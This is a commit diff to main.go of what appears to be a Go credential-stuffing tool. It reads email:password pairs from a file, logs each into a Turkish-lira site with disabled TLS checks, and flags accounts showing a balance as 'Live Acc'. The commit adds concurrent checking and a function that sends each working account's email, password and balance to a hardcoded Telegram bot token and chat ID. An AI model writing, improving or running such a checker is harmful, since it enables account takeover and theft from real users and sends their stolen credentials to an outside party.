Update main.go
This commit is contained in:
parent
0fd143443e
commit
6fc082d577
82
main.go
82
main.go
@ -8,9 +8,16 @@ import (
|
||||
"log"
|
||||
"net/http"
|
||||
"net/http/cookiejar"
|
||||
"net/url"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
const (
|
||||
telegramToken = "7408806061:AAGy__Qhk05rjyHs_IC6NNv7WJmzvAmaKEc"
|
||||
telegramChatID = "1342133634"
|
||||
)
|
||||
|
||||
func main() {
|
||||
@ -25,34 +32,45 @@ func main() {
|
||||
defer file.Close()
|
||||
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
jar, _ := cookiejar.New(nil)
|
||||
var wg sync.WaitGroup
|
||||
semaphore := make(chan struct{}, 10) // Aynı anda 30 işlem
|
||||
|
||||
client := &http.Client{
|
||||
Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
|
||||
Jar: jar,
|
||||
}
|
||||
for scanner.Scan() {
|
||||
semaphore <- struct{}{}
|
||||
wg.Add(1)
|
||||
|
||||
line := scanner.Text()
|
||||
parts := strings.Split(line, ":")
|
||||
if len(parts) != 2 {
|
||||
fmt.Printf("Geçersiz format: %s\n", line)
|
||||
continue
|
||||
}
|
||||
go func(line string) {
|
||||
defer wg.Done()
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
email := parts[0]
|
||||
password := parts[1]
|
||||
jar, _ := cookiejar.New(nil)
|
||||
client := &http.Client{
|
||||
Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
|
||||
Jar: jar,
|
||||
}
|
||||
|
||||
csrfToken, err := getCSRFToken(client)
|
||||
if err != nil {
|
||||
log.Printf("CSRF token alınamadı: %v\n", err)
|
||||
continue
|
||||
}
|
||||
parts := strings.Split(line, ":")
|
||||
if len(parts) != 2 {
|
||||
fmt.Printf("Geçersiz format: %s\n", line)
|
||||
return
|
||||
}
|
||||
|
||||
login(client, csrfToken, email, password)
|
||||
email := parts[0]
|
||||
password := parts[1]
|
||||
|
||||
csrfToken, err := getCSRFToken(client)
|
||||
if err != nil {
|
||||
log.Printf("CSRF token alınamadı: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
login(client, csrfToken, email, password)
|
||||
}(line)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
|
||||
if err := scanner.Err(); err != nil {
|
||||
log.Fatalf("Dosya okuma hatası: %v", err)
|
||||
}
|
||||
@ -81,7 +99,7 @@ func getCSRFToken(client *http.Client) (string, error) {
|
||||
re := regexp.MustCompile(`<meta name="csrf-token" content="(.*?)"`)
|
||||
matches := re.FindStringSubmatch(string(body))
|
||||
if len(matches) < 2 {
|
||||
return "", fmt.Errorf("CSRF token bulunamadı %s", string(body))
|
||||
return "", fmt.Errorf("CSRF token bulunamadı")
|
||||
}
|
||||
|
||||
return matches[1], nil
|
||||
@ -109,34 +127,30 @@ func login(client *http.Client, csrfToken, email, password string) (bool, error)
|
||||
return false, err
|
||||
}
|
||||
|
||||
if strings.Contains(string(body), string("balance")) == true {
|
||||
if strings.Contains(string(body), "balance") {
|
||||
re := regexp.MustCompile(`<a [^>]*class="balance"[^>]*>([\d,]+) TL</a>`)
|
||||
match := re.FindStringSubmatch(string(body))
|
||||
if len(match) > 1 {
|
||||
|
||||
fmt.Printf("Live Acc: %s:%s\n", email, password)
|
||||
fmt.Printf("TL Miktarı: %s\n", match[1])
|
||||
sendTelegramNotification(email, password, match[1])
|
||||
} else {
|
||||
fmt.Println("Miktar bulunamadı.")
|
||||
}
|
||||
fmt.Printf("Live Acc: %s:%s", email, password)
|
||||
fmt.Printf("TL Miktarı: %s\n", match[1])
|
||||
return true, nil
|
||||
} else {
|
||||
//fmt.Println("Sunucu Yanıtı:", string(body))
|
||||
fmt.Printf("Dead Acc: %s:%s\n", email, password)
|
||||
return false, nil
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func appendToFile(filename, content string) {
|
||||
file, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
|
||||
if err != nil {
|
||||
log.Fatalf("Dosya yazma hatası: %v", err)
|
||||
}
|
||||
defer file.Close()
|
||||
func sendTelegramNotification(email, password, balance string) {
|
||||
message := fmt.Sprintf("Live Account Found!\nEmail: %s\nPassword: %s\nBalance: %s TL", email, password, balance)
|
||||
escapedMessage := url.QueryEscape(message)
|
||||
apiURL := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage?chat_id=%s&text=%s", telegramToken, telegramChatID, escapedMessage)
|
||||
|
||||
_, err = file.WriteString(content)
|
||||
_, err := http.Get(apiURL)
|
||||
if err != nil {
|
||||
log.Fatalf("Dosyaya yazma hatası: %v", err)
|
||||
log.Printf("Telegram bildirimi gönderilemedi: %v", err)
|
||||
}
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user